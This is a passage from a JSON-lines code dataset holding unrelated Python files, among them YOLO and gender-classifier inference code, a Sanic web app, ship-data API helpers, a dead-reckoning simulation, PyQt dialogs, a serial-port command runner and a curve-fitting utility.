arr.ctypes.data_as(POINTER(c_float))\n im = IMAGE(w, h, c, data)\n return im, arr\n\n\ndef detect(net, image, alt_names, thresh=.5, hier_thresh=.5, nms=.3):\n \"\"\"Performs the detection\"\"\"\n custom_image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n custom_image = cv2.resize(custom_image, (lib.network_width(net), lib.network_height(net)),\n interpolation=cv2.INTER_LINEAR)\n number_of_classes = len(alt_names)\n im, arr = array_to_image(custom_image)\n num = c_int(0)\n p_num = pointer(num)\n predict_image(net, im)\n dets = get_network_boxes(\n net, image.shape[1], image.shape[0], thresh, hier_thresh, None, 0, p_num, 0)\n num = p_num[0]\n if nms:\n do_nms_sort(dets, num, number_of_classes, nms)\n res = []\n for j in range(num):\n for i in range(80):\n if dets[j].prob[i] > 0:\n b = dets[j].bbox\n name_tag = alt_names[i]\n res.append((name_tag, dets[j].prob[i], (b.x, b.y, b.w, b.h), i))\n res = sorted(res, key=lambda x: -x[1])\n free_detections(dets, num)\n return res\n","sub_path":"catkin_tws/src/agv/agv_follow/src/agv_follow/YoloNet.py","file_name":"YoloNet.py","file_ext":"py","file_size_in_byte":6810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"275751817","text":"import traceback\n\nimport sentry_sdk\nimport socketio\nfrom sanic import Sanic\nfrom sanic.exceptions import SanicException\nfrom sanic.response import json\nfrom sanic_cors.extension import CORS as initialize_cors\nfrom sentry_sdk.integrations.sanic import SanicIntegration\nfrom sentry_sdk.integrations.sqlalchemy import SqlalchemyIntegration\n\nfrom src.api import blueprint\nfrom src.chat_service import ChatSocketService\nfrom src.config import APP_CONFIG\nfrom src.exceptions import AcquityException\nfrom src.scheduler import scheduler\nfrom src.services import (\n BannedPairService,\n BuyOrderService,\n ChatRoomService,\n ChatService,\n LinkedInLogin,\n MatchService,\n RoundService,\n SecurityService,\n SellOrderService,\n UserRequestService,\n UserService,\n)\nfrom src.utils import AcquityJson\n\nif APP_CONFIG[\"SENTRY_ENABLE\"]:\n\n def sentry_before_send(event, hint):\n if \"exc_info\" in hint:\n _exc_type, exc_value, _tb = hint[\"exc_info\"]\n if isinstance(exc_value, AcquityException):\n return None\n return event\n\n sentry_sdk.init(\n dsn=\"https://1d45f7681dca45e8b8a83842dd6303b8@sentry.io/1800796\",\n integrations=[SanicIntegration(), SqlalchemyIntegration()],\n before_send=sentry_before_send,\n )\n\napp = Sanic(load_env=False)\napp.config.update(APP_CONFIG)\n\nsio = socketio.AsyncServer(\n async_mode=\"sanic\", cors_allowed_origins=[], json=AcquityJson\n)\nsio.attach(app)\nsio.register_namespace(ChatSocketService(\"/v1/chat\", app.config))\n\napp.user_service = UserService(app.config)\napp.sell_order_service = SellOrderService(app.config)\napp.buy_order_service = BuyOrderService(app.config)\napp.security_service = SecurityService(app.config)\napp.round_service = RoundService(app.config)\napp.match_service = MatchService(app.config)\napp.banned_pair_service = BannedPairService(app.config)\napp.chat_room_service = ChatRoomService(app.config)\napp.chat_service = ChatService(app.config)\napp.linkedin_login = LinkedInLogin(app.config)\napp.user_request_service = UserRequestService(app.config)\n\ninitialize_cors(app)\n\n\napp.blueprint(blueprint)\n\n\nasync def error_handler(request, exception):\n if isinstance(exception, AcquityException):\n if exception.status_code == 404:\n message = f\"Requested URL {request.path} not found\"\n else:\n message = exception.message\n\n return json({\"error\": message}, status=exception.status_code)\n elif isinstance(exception, SanicException):\n return json({\"error\": exception.args}, status=exception.status_code)\n traceback.print_exc()\n return json({\"error\": \"An internal error occured.\"}, status=500)\n\n\napp.error_handler.add(Exception, error_handler)\n\n\n@app.listener(\"after_server_start\")\nasync def start_scheduler(app, loop):\n scheduler.configure(event_loop=loop)\n app.scheduler = scheduler\n scheduler.start()\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=app.config[\"PORT\"])\n","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"636005909","text":"from random import random\n\nsize(1000,1000)\nwidth = range(0, width(), 100)\nheight = range(0, height(), 100)\n\ndef pattern():\n for x in width:\n for y in height:\n fill(random(),random(),random(),1)\n oval(x, y, 90, 90)\n\nfor p in range(10):\n if p == 0:\n pattern() \n else:\n newPage()\n pattern()\nsaveImage(\"~/Desktop/pattern.gif\")\n","sub_path":"class_demos/student_basic_pattern/pattern_ben.py","file_name":"pattern_ben.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"302702748","text":"import sys\nimport cv2\nfrom keras.models import load_model\nimport numpy as np\nfrom keras.preprocessing import image\nimport os\nimport sys\n\n# sys.path.insert(0, os.path.abspath(\"../\"))\nsys.path.insert(0, os.path.dirname(__file__))\n\n\ndef preprocess_input(x, v2=True):\n x = x.astype('float32')\n x = x / 255.0\n if v2:\n x = x - 0.5\n x = x * 2.0\n return x\n\n\ndef apply_offsets(face_coordinates, offsets):\n x, y, width, height = face_coordinates\n x_off, y_off = offsets\n return (x - x_off, x + width + x_off, y - y_off, y + height + y_off)\n\ndef load_detection_model(model_path):\n detection_model = cv2.CascadeClassifier(model_path)\n return detection_model\n\ndef detect_faces(detection_model, gray_image_array):\n return detection_model.detectMultiScale(gray_image_array, 1.3, 5)\n\n\nclass new_gender_classifier(object):\n\n def __init__(self, input={}):\n '''\n\n :param input:\n '''\n self.checkpoint_dir = os.path.join(os.path.dirname(__file__),\"checkpoint\")\n\n def run(self, input={}):\n '''\n\n :param input:\n :return:\n '''\n # parameters for loading data and images\n rgb_image = input.get('rgb_image')\n gray_image = input.get('gray_image')\n\n detection_model_path = self.checkpoint_dir+'/detection_models/haarcascade_frontalface_default.xml'\n gender_model_path = self.checkpoint_dir+'/gender_models/simple_CNN.81-0.96.hdf5'\n gender_labels = {0:'woman', 1:'man'}\n font = cv2.FONT_HERSHEY_SIMPLEX\n\n # hyper-parameters for bounding boxes shape\n gender_offsets = (30, 60)\n gender_offsets = (10, 10)\n\n\n # loading models\n face_detection = load_detection_model(detection_model_path)\n gender_classifier = load_model(gender_model_path, compile=False)\n\n # getting input model shapes for inference\n gender_target_size = gender_classifier.input_shape[1:3]\n\n # loading images\n gray_image = np.squeeze(gray_image)\n gray_image = gray_image.astype('uint8')\n\n faces = detect_faces(face_detection, gray_image)\n gender_location_texts= []\n for face_coordinates in faces:\n x1, x2, y1, y2 = apply_offsets(face_coordinates, gender_offsets)\n rgb_face = rgb_image[y1:y2, x1:x2]\n try:\n rgb_face = cv2.resize(rgb_face, (gender_target_size))\n except:\n continue\n rgb_face = preprocess_input(rgb_face, False)\n rgb_face = np.expand_dims(rgb_face, 0)\n gender_prediction = gender_classifier.predict(rgb_face)\n gender_label_arg = np.argmax(gender_prediction)\n gender_text = gender_labels[gender_label_arg]\n gender_location_texts.append({'gender':gender_text,'location':face_coordinates})\n return gender_location_texts","sub_path":"pyserver/functions/zhaofengli-similar_star_face_finder-dev/modules/zhaofengli/new_gender_classifier/0_0_2/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"446895302","text":"import numpy as np\nfrom scipy.stats import norm\nfrom scipy import signal\nfrom matplotlib import pyplot as plt\n\ndef Plot_Pulse_vs_State(bl1Pulse, bl1State, db1WinSec, inSampleRate, dbConvWinSec, sOPTION, ax):\n # Bout pipeline utility to estimate if the pulses in bl1Pulse are enriched\n # during the state defined by bl1State. The function plots the average\n # instantaneous frequency of pulse around the state ON transitions.\n\n# # Checks for optional argument\n verbose = sOPTION.blVerbose\n dbConvWinSec = 0.5\n if verbose: print('db1WinSec: ',db1WinSec)\n # if bl1Pulse is not a logical vector assumes that it is a vector of\n # indices. Converts it to a logical vector of the same size as bl1State\n if not bl1Pulse.dtype==bool: \n in1Pulse = bl1Pulse\n bl1Pulse = np.zeros_like(bl1State,dtype=bool)\n bl1Pulse[in1Pulse] = True\n\n # Calculates the frequency of bouts and events during quiet and running \n dbFreq_StateON = inSampleRate * np.sum(bl1Pulse & bl1State)/np.sum(bl1State)\n dbFreq_StateOFF = inSampleRate * np.sum(bl1Pulse & ~bl1State)/np.sum(~bl1State)\n if verbose: print('dbFreq_StateON: {}, dbFreq_StateOFF: {}',dbFreq_StateON, dbFreq_StateOFF)\n\n # Relative increase of frequency\n dbRatio = dbFreq_StateON/dbFreq_StateOFF\n if verbose: print('dbRatio: ',dbRatio)\n # Significance of the increase\n dbPVal = 2 * (1 - norm.cdf(np.abs(dbFreq_StateON - dbFreq_StateOFF)/\n np.sqrt((dbFreq_StateON / np.sum(bl1Pulse & bl1State)) + (dbFreq_StateOFF/ np.sum(bl1Pulse & ~bl1State)) )))\n if verbose: print('dbPVal: ',dbPVal)\n \n\n # Print the results on the screen\n if dbPVal > 0.0001: chP = str(dbPVal)\n else: chP = '<0.0001'\n \n# chSigString = 'OFF: ' + str(dbFreq_StateOFF) + 'fHz\\tON: ' + str(dbFreq_StateON) + 'fHz\\tRatio: ' + str(dbRatio) + 'f\\t(p = ' + chP + ')\\r'\n chSigString = 'OFF: {:.2f} Hz, ON: {:.2f} Hz; Ratio: {:.2f}; (p={})'.format(dbFreq_StateOFF, dbFreq_StateON, dbRatio, chP)\n if verbose: print('chSigString: ',chSigString)\n\n # Convolutes the trace by a square window to compute an instantaneous frequency\n rectwin = signal.windows.boxcar(int(dbConvWinSec * inSampleRate))\n if verbose: print('rectwin: ',rectwin)\n db1BoutTrace = np.convolve(bl1Pulse, rectwin, 'same')/dbConvWinSec\n if verbose: print('db1BoutTrace: ',db1BoutTrace)\n\n # Defines the relative indices of the ETA \n in1ETA_RelIdx = np.arange(np.round(inSampleRate * db1WinSec[0]), np.round(inSampleRate * db1WinSec[1]))\n if verbose: \n print('in1ETA_RelIdx.shape: ',in1ETA_RelIdx.shape)\n print('in1ETA_RelIdx: ',in1ETA_RelIdx)\n \n # Sets the event set\n in1RunON = 1 + np.where(~bl1State[:-1] & bl1State[1:] == True)[0]\n if verbose: print('in1RunON: ',in1RunON)\n bl1Rem = (in1RunON <= -in1ETA_RelIdx[0]) | (in1RunON >= (len(bl1State) - in1ETA_RelIdx[-1]))\n if verbose: \n print('bl1Rem.shape: ',bl1Rem.shape)\n print('bl1Rem: ',bl1Rem)\n in1RunON[bl1Rem] = []\n if verbose: \n print('in1RunON.shape: ',in1RunON.shape)\n print('in1RunON: ',in1RunON)\n\n # Calculates the event triggered avergae\n# ExpArray = (in1ETA_RelIdx[:,np.newaxis]+in1RunON[np.newaxis,:]).astype(int)\n db1ETA_Bout = np.mean(db1BoutTrace[(in1ETA_RelIdx[:,np.newaxis]+in1RunON[np.newaxis,:]).astype(int)], axis=1)\n if verbose: \n print('db1ETA_Bout.shape: ',db1ETA_Bout.shape)\n print('db1ETA_Bout: ',db1ETA_Bout)\n \n db1ETSEM_Bout = np.std(db1BoutTrace[(in1ETA_RelIdx[:,np.newaxis]+in1RunON[np.newaxis,:]).astype(int)],axis=1)/np.sqrt(len(in1RunON))\n if verbose: \n print('db1ETSEM_Bout.shape: ',db1ETSEM_Bout.shape)\n print('db1ETSEM_Bout: ',db1ETSEM_Bout)\n \n # Defines the time\n db1Time = in1ETA_RelIdx/inSampleRate\n if verbose: print('db1Time: ',db1Time)\n\n # Plot the results\n# fig,ax = plt.subplots()\n ax.fill_between(db1Time, db1ETA_Bout + db1ETSEM_Bout, db1ETA_Bout - db1ETSEM_Bout)#, [.5 .5 .5], 'LineStyle', 'none', 'FaceAlpha', .3); hold on\n ax.plot(db1Time, db1ETA_Bout, 'k-')\n db1YL = ax.get_ylim() \n ax.plot(np.array([0, 0]), db1YL, 'r--')\n ax.set_ylabel('Instantaneous Frequency (Hz)'); ax.set_xlabel('Time (s)');\n\n return chSigString","sub_path":"python/Pipeline/.ipynb_checkpoints/CLAMS_Plot_Pulse_vs_State-checkpoint.py","file_name":"CLAMS_Plot_Pulse_vs_State-checkpoint.py","file_ext":"py","file_size_in_byte":4342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"585684040","text":"\r\n\r\ndef function1():\r\n fp = open(\"data_set.txt\", \"r\")\r\n # print(fp.name)\r\n cortana = []\r\n siri = []\r\n task = 0\r\n taskListForCortana=[]\r\n statementListForCortana=[]\r\n statement = 0\r\n\r\n\r\n buffer = fp.read();\r\n buffer = buffer.split(\"\\n\")\r\n # print(buffer)\r\n for line in buffer:\r\n if \"cortana\" in line:\r\n cortana.append(line)\r\n elif \"siri\" in line:\r\n siri.append(line)\r\n print(cortana)\r\n print(siri)\r\n\r\n print(\"\\n\")\r\n\r\n for line in cortana:\r\n if \"what\" in line or \"how\" in line or \"when\" in line or \"why\" in line:\r\n # print(line)\r\n taskListForCortana.append(line);\r\n task=task+1\r\n else:\r\n statementListForCortana.append(line)\r\n statement=statement+1\r\n\r\n print(\"TASKS FOR CORTANA\")\r\n print(taskListForCortana)\r\n print(\"TOTAL = \",task)\r\n print(\"STATEMENTS FOR CORTANA\")\r\n print(statementListForCortana)\r\n print(\"TOTAL = \", statement)\r\n print(\"\\n\")\r\n\r\n task=0\r\n statement=0\r\n taskListForSiri=[]\r\n statementListForSiri=[]\r\n\r\n for line in siri:\r\n if \"what\" in line or \"how\" in line or \"when\" in line or \"why\" in line:\r\n # print(line)\r\n taskListForSiri.append(line)\r\n task=task+1\r\n else:\r\n statementListForSiri.append(line)\r\n statement=statement+1\r\n\r\n print(\"TASKS FOR SIRI\")\r\n print(taskListForSiri)\r\n print(\"TOTAL = \", task)\r\n print(\"STATEMENTS FOR SIRI\")\r\n print(statementListForSiri)\r\n print(\"TOTAL = \", statement)\r\n fp.close()\r\n\r\nfunction1()\r\n\r\n\r\n","sub_path":"task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"112084652","text":"# -*- coding: utf-8 -*-\n# /***************************************************************************/\n# * __________________________________\n# * METIS CYBERSPACE TECHNOLOGY S.A.\n# * www.metis.tech\n# * __________________________________\n# * [2017] All Rights Reserved.\n# *\n# * NOTICE: All information contained herein is, and remains\n# * the property of Metis CyberSpace Technology and its suppliers,\n# * if any. The intellectual and technical concepts contained\n# * herein are proprietary to METIS CYBERSPACE TECHNOLOGY\n# * and its suppliers and may be covered by European and Foreign Patents,\n# * patents in process, and are protected by trade secret or copyright law.\n# * Dissemination of this information or reproduction of this material\n# * is strictly forbidden unless prior written permission is obtained\n# * from Metis Cyberspace Technology.\n#\n# /***************************************************************************/\n\"\"\"\nCreated on Thu Aug 23 11:23:21 2018\n\n@author: Isaias.Vrakidis\n\"\"\"\n\nimport requests\nfrom metis_pylib.api.exporter import get_from_exporter\nfrom metis_pylib.models.ship_data.classes import QuantityDetail, EventDetail\nfrom metis_pylib.models.exporter.classes import VesselQuantity\n\n\ndef get_quantity_measurements(base_url, qid, vessel_id, from_time, to_time, sampling_rate, page_size=960):\n url = (base_url + '/data/resample/byQuantity'\n + '?vesselId=' + str(vessel_id)\n + '&qid=' + str(qid)\n + '&fromTime=' + str(from_time)\n + '&toTime=' + str(to_time)\n + '&samplingRate=' + str(sampling_rate)\n + '&size=' + str(page_size))\n\n # Obtain first page\n r = requests.get(url + '&page=0')\n page1 = r.json()\n\n measurements = page1['content']\n\n # Obtain the rest of the pages if there are any\n if not(page1['last']):\n for page_number in range(1, page1['totalPages']):\n r = requests.get(url + '&page=' + str(page_number))\n page = r.json()\n measurements += page['content']\n return measurements\n\n\ndef get_measurements_timepoint_per_vessel_by_quantities(base_url, vessel_ids, qids, time_point, force_latest=False):\n url = (base_url + '/data/timepointPerVessel/byQuantities'\n + '?vesselIds=' + ','.join([str(vessel_id)\n for vessel_id in vessel_ids])\n + '&qids=' + ','.join(qids)\n + '&timePoint=' + str(time_point)\n + '&forceLatest=' + str(force_latest))\n\n r = requests.get(url)\n return r.json()\n\n\ndef get_vessel_qids(base_url, vessel_id):\n url = (base_url + '/info/quantityDetails/byVessels'\n + '?vesselIds=' + str(vessel_id))\n\n r = requests.get(url)\n quantities = r.json()\n\n return [quantity['qid'] for quantity in quantities]\n\n\ndef get_all_quantities():\n '''\n Returns the list of all quantities\n '''\n quantities = []\n r_quantities, _ = get_from_exporter('/info/quantityDetails')\n\n for r_quantity in r_quantities:\n new_quantity = QuantityDetail(**r_quantity)\n quantities.append(new_quantity)\n\n return quantities, []\n\n\ndef get_quantities_by_vessel_id(vessel_id, include_manual=False):\n '''\n Returns the list of quantites for a specific vessel\n :param include_manual: whether to include manual quantities or not, defaults to False\n :type include_manual: bool\n '''\n quantities = []\n r_quantities, _ = get_from_exporter(\n '/info/quantityDetails/byVessels'+'?vesselIds=' + str(vessel_id) +\n '&includeManual={}'.format(\"False\" if not include_manual else \"True\"))\n\n for r_quantity in r_quantities:\n new_quantity = QuantityDetail(**r_quantity)\n quantities.append(new_quantity)\n\n return quantities, []\n\n\ndef get_all_events():\n '''\n Returns the list of all events\n '''\n events = []\n r_events, _ = get_from_exporter('/info/eventDetails')\n\n for r_event in r_events:\n r_event.pop('event_status')\n new_event = EventDetail(**r_event)\n events.append(new_event)\n\n return events, []\n\n\ndef get_all_quantity_groups():\n '''\n Returns all quantity groups from exporter\n '''\n groups = get_from_exporter('/info/quantityGroups', deserialize=False)\n\n return groups\n\n\ndef get_vessel_quantities_by_qid(vessel_ids, qids):\n '''Returns quantities by vessels and qids\n\n Arguments:\n vessel_ids {int list} -- list with vessel ids\n qids {str list} -- list with qids\n '''\n end_point = '/info/vesselQuantities/byQids'\n end_point += '?vesselIds=' + ','.join(map(str, vessel_ids))\n end_point += '&qids=' + ','.join(qids)\n\n quantities, _ = get_from_exporter(end_point)\n\n q_list = []\n for quantity in quantities:\n new_quantity = VesselQuantity(**quantity)\n q_list.append(new_quantity)\n\n return q_list\n\n\ndef get_quantity_details_by_qids(qids):\n '''Returns quantities details by qids\n\n Arguments:\n qids {list} -- list with qids\n '''\n end_point = '/info/quantityDetails/byQids'\n end_point += '?qids=' + ','.join(qids)\n\n quantities, _ = get_from_exporter(end_point)\n\n q_list = []\n for quantity in quantities:\n new_quantity = QuantityDetail(**quantity)\n q_list.append(new_quantity)\n\n return q_list\n","sub_path":"Metis/metis-pylib/metis_pylib/api/exporter/exporter_service.py","file_name":"exporter_service.py","file_ext":"py","file_size_in_byte":5260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"244924915","text":"# coding:utf-8\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom datetime import time\nimport time\n\ncsvfilename = 'logs/1_xiaoxiong_Controller_2017-09-01-16-19-38.csv'\ndf = pd.read_csv(csvfilename, header=None, names=['abstime','time','posx','posy','posz','roty','rotx'],\n skiprows=1, skipfooter=1)\ndf.head()\n\nTdelta = 0.5\nXr=df['posx'].values\nYr=df['posy'].values\nZr=df['posz'].values\nm=len(Xr)\nprint(m)\n\nQtx = []\nQty = []\nQtz = []\nTf = 0.0 # since last frame\nTt = 0.0 # since last update\ndeltaTime = 0.0\nPm1 = None\nVm1 = None\nP0 = None\n# V0 = None\n# V0Prime = None\n# Pt = None\n\n# update\nfor idx,step in enumerate(range(m)):\n frameBegin = time.time()\n if idx == 0:\n time.sleep(0.05)\n Pm1 = np.array([Xr[idx],Yr[idx],Zr[idx]])\n Qtx.append(Pm1[0])\n Qty.append(Pm1[1])\n Qtz.append(Pm1[2])\n elif idx == 1:\n time.sleep(0.05)\n P0 = np.array([Xr[idx],Yr[idx],Zr[idx]])\n V0 = (P0 - Pm1 ) / deltaTime\n # 只有一个位置点,使用simple extrapolate预测\n combined = P0 + V0 * deltaTime\n Qtx.append(combined[0])\n Qty.append(combined[1])\n Qtz.append(combined[2])\n Pm1 = P0\n Vm1 = V0\n P0 = combined\n else:\n Tt += deltaTime\n Tnorm = 1.5#max(0.0, min(Tt / Tdelta, 1.0))\n #1.从server收到新位置数据,作为last known,求出新的速度、加速度\n V0 = (P0 - Pm1) / deltaTime\n P0Prime = np.array([Xr[idx],Yr[idx],Zr[idx]])\n V0Prime = P0Prime - Pm1\n A0Prime = (V0Prime-Vm1)/deltaTime\n #2.velocity blending\n Vb = V0 + (V0Prime - V0) * Tnorm\n #3.从当前位置,根据混合速度和新加速度,计算预测位置Pt\n Pt = P0 + Vb * deltaTime + 0.5 * A0Prime * deltaTime * deltaTime\n #4.从last known位置,根据新速度和加速度,计算预测位置Pt'\n PtPrime = P0Prime + V0Prime * deltaTime + 0.5 * A0Prime * deltaTime * deltaTime\n #5.结合两个预测位置,计算目标位置\n combined = Pt + (PtPrime - Pt) * Tnorm\n print(idx,Tnorm,combined)\n Qtx.append(combined[0])\n Qty.append(combined[1])\n Qtz.append(combined[2])\n #6.移动到目标位置\n time.sleep(0.05)\n Tt = 0.0\n\n # 准备下一次迭代\n Pm1 = P0Prime\n Vm1 = Vb\n P0 = combined\n frameEnd = time.time()\n deltaTime = frameEnd - frameBegin\n\nfig = plt.figure(figsize=(16, 9))\nax = fig.add_subplot(111, projection='3d')\nax.plot(Qtx, Qtz, Qty, label='DR Estimate')\nax.plot(Xr, Zr, Yr, label='Real')\nax.set_xlabel('X')\nax.set_ylabel('Z')\nax.set_zlabel('Y')\nax.legend()\nplt.title('Trajectory estimated with Dead Reckoning')\n\n# Axis equal\n# max_range = np.array([Xm.max()-Xm.min(), Ym.max()-Ym.min(), Zm.max()-Zm.min()]).max() / 3.0\n# mean_x = Xm.mean()\n# mean_y = Ym.mean()\n# mean_z = Zm.mean()\n# print(mean_x,mean_y,mean_z)\n# ax.set_xlim(mean_x - max_range, mean_x + max_range)\n# ax.set_ylim(mean_z - max_range, mean_z + max_range)\n# ax.set_zlim(mean_y, mean_z + 15)\nplt.show()\n\n# distance calculate\ndist = np.sqrt((Xr - Qtx)**2 + (Yr - Qty)**2 + (Zr - Qtz)**2)\nprint('Estimated Position is %.2fm away from real position.' % dist[-1])\n","sub_path":"OtherCodes/Dead Reckoning.py","file_name":"Dead Reckoning.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"408153369","text":"from PyQt5.QtCore import pyqtSlot, QPoint, Qt\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtWidgets import QDialog, QGraphicsItem\nfrom PyQt5.QtCore import pyqtSignal\nfrom PyQt5 import QtGui, QtWidgets, QtCore\nimport os\nfrom modules.VHF_radio.Ui_TEST2 import Ui_Dialog\nfrom PyQt5.QtCore import pyqtSignal\nfrom common.info import Constants\nfrom PyQt5 import QtGui\nfrom common.logConfig import Logger\nfrom PyQt5.QtWidgets import QMessageBox\nfrom modules.VHF_radio.VHF_radio_CONSTANT import ModuleConstants\n\nlogger = Logger.module_logger(\"DialogTest7point5\")\n\n\nclass DialogTest7point5(QDialog, Ui_Dialog):\n \"\"\"\n Class documentation goes here.\n \"\"\"\n signalTest = pyqtSignal(object)\n signalPrint = pyqtSignal(object)\n def __init__(self, parent=None):\n \"\"\"\n Constructor\n\n @param parent reference to the parent widget\n @type QWidget\n \"\"\"\n super(DialogTest7point5, self).__init__(parent)\n self.setupUi(self)\n self.state=''\n self.test_result = test_results()\n self.action = 'finish_all'\n @pyqtSlot()\n def on_pushButton_1_clicked(self):\n\n if self.state=='7.5':\n self.test_result.test_item = ModuleConstants.test_shoufa_light\n self.test_result.test_condition = ''\n self.test_result.test_results = ModuleConstants.audio_module_pannel\n self.test_result.test_conclusion = 'PASS'\n QMessageBox.information(self, ModuleConstants.tip, ModuleConstants.audio_module_pannel, QMessageBox.Ok)\n if self.state=='26':\n self.test_result.test_item = ModuleConstants.test_tested_radio\n self.test_result.test_condition = ''\n self.test_result.test_results = ModuleConstants.ssm_pannel\n self.test_result.test_conclusion = 'FAIL'\n QMessageBox.information(self, ModuleConstants.tip, ModuleConstants.ssm_pannel, QMessageBox.Ok)\n self.signalTest.emit('test')\n self.signalPrint.emit('print')\n self.close()\n\n\n @pyqtSlot()\n def on_pushButton_2_clicked(self):\n if self.state == '7.5':\n self.test_result.test_item = ModuleConstants.test_shoufa_light\n self.test_result.test_condition = ''\n self.test_result.test_results = ModuleConstants.zhongpin_module_pannel\n self.test_result.test_conclusion = 'FAIL'\n QMessageBox.information(self, ModuleConstants.tip, ModuleConstants.zhongpin_module_pannel, QMessageBox.Ok)\n if self.state == '26':\n self.test_result.test_item = ModuleConstants.tested_radio_ceyin\n self.test_result.test_condition = ''\n self.test_result.test_results = ModuleConstants.audio_module_pannel\n self.test_result.test_conclusion = 'FAIL'\n QMessageBox.information(self, ModuleConstants.tip, ModuleConstants.audio_module_pannel, QMessageBox.Ok)\n self.signalTest.emit('test')\n self.signalPrint.emit('print')\n self.close()\n def set_contents(self, title, contents,img_file_path ):\n try:\n self.setWindowTitle(title)\n self.textBrowser_contents.setText(contents)\n if img_file_path and img_file_path != \"\":\n if os.path.isfile(img_file_path) and os.access(img_file_path, os.W_OK):\n self.pixmap = QtGui.QPixmap(img_file_path)\n self.pixmap = self.pixmap.scaled(600, 600,\n Qt.IgnoreAspectRatio | Qt.SmoothTransformation)\n self.label_img.setPixmap(self.pixmap)\n self.label_img.setAlignment(Qt.AlignCenter)\n except BaseException as e:\n logger.error(str(e))\n return\n\n def set_state(self, state):\n self.state = state\n\n @pyqtSlot()\n def closeEvent(self, event):\n if self.action == 'finish_all':\n self.signalFinish1.emit('finish_all', None)\n event.accept()\nclass test_results:\n def __init__(self):\n self.test_item=''\n self.test_condition=''\n self.test_results=''\n self.test_conclusion=''","sub_path":"modules/VHF_radio/TEST7point5.py","file_name":"TEST7point5.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"609426205","text":"import serial\nimport os\nimport time\n\nrun = False;\ntry:\n ser = serial.Serial('/dev/ttyACM0', 9600)\n run = True;\nexcept:\n try:\n ser = serial.Serial('/dev/ttyACM1', 9600)\n run = True;\n except:\n try:\n ser = serial.Serial('/dev/cu.usbmodem14201', 9600)\n run = True;\n except:\n try:\n ser = serial.Serial('/dev/cu.usbmodem14202',9600)\n run = True;\n except:\n print(\": Error loading Serial Port\")\t\n\ndef switch(c):\n with open(\"data.acc\", \"r\") as file:\n for i in file.readlines():\n if c == i[0] and i[0:2] != \"//\":\n print(\": Calling Function: \" + i[2:])\n print(\": Logs:\\n\")\n os.system(i[2:])\n print(\"\\n: Process Completed\\n\")\n print(\"---NEW INSTANCE AController---\");\n\ndef callFunction():\n print(\": Scanning Input...\\n\")\n choice = ser.read().decode('utf-8')\n print(\": Input is Code #\" + str(ord(choice)) + \"\\n\\n: Validating Code...\\n\")\n switch(choice)\n\nwhile (run):\n callFunction()\n time.sleep(3)\n","sub_path":"Program/button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"29573507","text":"import numpy as np\r\nfrom scipy.optimize import leastsq\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.gridspec as gridspec\r\n\r\nfrom uncertainties import ufloat, unumpy as unp\r\n\r\ndef _derivative(func, x, *params, h=1e-6):\r\n\t\treturn (-func(x+2*h, *params) + 8*func(x+h, *params) - 8*func(x-h, *params) + func(x-2*h, *params))/(12*h)\r\n\t\t\r\ndef _chi(params, func, xvalue, yvalue, xerror, yerror):\r\n\tdifference = yvalue - func(xvalue, *params)\r\n\terror = np.sqrt( np.power(_derivative(func, xvalue, *params) * xerror, 2) + np.power(yerror, 2) )\r\n\tchi = difference / error\r\n\treturn chi\r\n\r\ndef curve_fit(func, x, y, x0, B=1000, **kwargs):\r\n\txerror = unp.std_devs(x)\r\n\tyerror = unp.std_devs(y)\r\n\t\r\n\tmeans = []\r\n\tfor i in range(B):\r\n\t\tindices = np.random.randint(0, len(x), size=len(x))\r\n\t\t\r\n\t\tshifts1 = np.random.normal(loc=0, scale=1, size=len(x))\r\n\t\tx_simulated = unp.nominal_values(x) + xerror*shifts1\r\n\t\t\r\n\t\tshifts2 = np.random.normal(loc=0, scale=1, size=len(y))\r\n\t\ty_simulated = unp.nominal_values(y) + yerror*shifts2\r\n\t\t\t\r\n\t\tpopt, pcov, infodict, mesg, ier = leastsq(\r\n\t\t\t_chi, \r\n\t\t\tx0=tuple(x0),\r\n\t\t\targs=(func, x_simulated, y_simulated, xerror, yerror),\r\n\t\t\tfull_output=True, \r\n\t\t\t**kwargs\r\n\t\t)\r\n\t\tif ier in (1,2,3,4):\r\n\t\t\tmeans.append(popt)\r\n\t\r\n\tpopt, pcov, infodict, mesg, ier = leastsq(\r\n\t\t_chi, \r\n\t\tx0=tuple(x0),\r\n\t\targs=(func, unp.nominal_values(x), unp.nominal_values(y), xerror, yerror),\r\n\t\tfull_output=True, \r\n\t\t**kwargs\r\n\t)\r\n\r\n\terrors = np.std(means, axis=0)\r\n\tresults = tuple(ufloat(a, b) for a, b in zip(popt, errors))\r\n\t\r\n\tchisqndof = np.power(_chi(popt, func, unp.nominal_values(x), unp.nominal_values(y), unp.std_devs(x), unp.std_devs(y)), 2).sum() / (len(x)-len(x0))\r\n\t\r\n\treturn results, chisqndof\r\n\t\r\n\t\r\ndef plot_fit(x, y, func, params, xlabel=\"\", ylabel=\"\", range=None):\r\n\tgs = gridspec.GridSpec(2, 1, 